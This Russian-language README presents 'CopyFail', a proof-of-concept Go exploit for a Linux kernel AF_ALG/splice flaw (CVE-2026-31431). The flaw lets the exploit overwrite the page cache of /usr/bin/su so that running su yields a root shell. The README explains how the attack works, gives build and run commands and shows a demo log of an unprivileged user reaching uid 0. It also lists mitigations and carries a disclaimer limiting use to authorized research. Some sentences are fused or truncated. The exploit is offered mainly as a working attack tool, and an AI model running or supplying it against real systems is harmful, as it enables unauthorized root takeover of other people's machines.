
Эксплойт proof-of-concept для CVE-2026-31431, уязвимости повреждения памяти AF_ALG в ядре Linux. Использует splice для модификации /usr/bin/su в page cache, обеспечивая повышение привилегий до root без пароля.
CopyFail — это proof-of-concept эксплойт для CVE-2026-31431, нацеленный на уязвимость повреждения памяти в Crypto API ядра Linux (AF_ALG). Эксплойт использует системный вызов splice для несанкционированного изменения page-cache бинарного файла /usr/bin/su, что позволяет повысить привилегии до root без ввода пароля.
Уязвимость находится в обработке ядром Linux передач данных с нулевым копированием между сокетами AF_ALG и другими файловыми дескрипторами через splice. Из-за некорректной синхронизации или проверки границ в реализации aead данные, обработанные криптографическим движком, могут быть записаны обратно в page-cache исходного файла.
AF_ALG и использует sendmsg для постановки вредоносной полезной нагрузки во внутренние буферы сокета.splice для передачи данных из бинарного файла /usr/bin/su в сокет AF_ALG, уязвимость приводит к тому, что содержимое буфера сокета перезаписывает page-cache бинарного файла в памяти.su минимальной ELF-нагрузкой, которая запускает root-оболочку. Поскольку page-cache изменён, последующие выполнения su запускают код атакующего вместо исходного бинарного файла.RawSyscall для всех взаимодействий с ядром.AF_ALG/splice.fmt или os).Скомпилируйте эксплойт для текущей архитектуры:
go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go
Выполните скомпилированный бинарный файл:
./CopyFail
При успешном выполнении бинарный файл su будет пропатчен в памяти и выполнен, предоставляя root-оболочку.
Следующая демонстрация показывает компиляцию и выполнение эксплойта на стандартной установке Kali Linux.
# 1. Проверка текущего непривилегированного пользователя
kali@kali:~$ whoami
kali
# 2. Компиляция эксплойта
kali@kali:~$ go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go
# 3. Выполнение эксплойта CopyFail
kali@kali:~$ ./CopyFail
[+] Triggering AF_ALG memory corruption...
[+] Patching /usr/bin/su in page-cache...
[+] Executing patched binary...
# 4. Успех: повышение до root-оболочки
root@kali:/home/kali# id
uid=0(root) gid=0(root) groups=0(root)
root@kali:/home/kali# whoami
root
Для смягчения этой уязвимости рекомендуются следующие шаги:
af_alg и связанные с ними:
modprobe -r af_alg
auditd) для отслеживания подозрительных вызовов splice, нацеленных на критически важные системные бинарные файлы.⚠️ Предупреждение: Этот инструмент предназначен только для авторизованных исследований в области безопасности и образовательных целей. Патчинг page-cache — это нестабильная операция, которая может вызвать нестабильность системы. Автор не несёт ответственности за неправомерное использование.
CVE-2026-31431 («Copy Fail») была обнаружена и раскрыта исследовательской группой Theori.
Этот проект лицензирован под MIT LICENSE.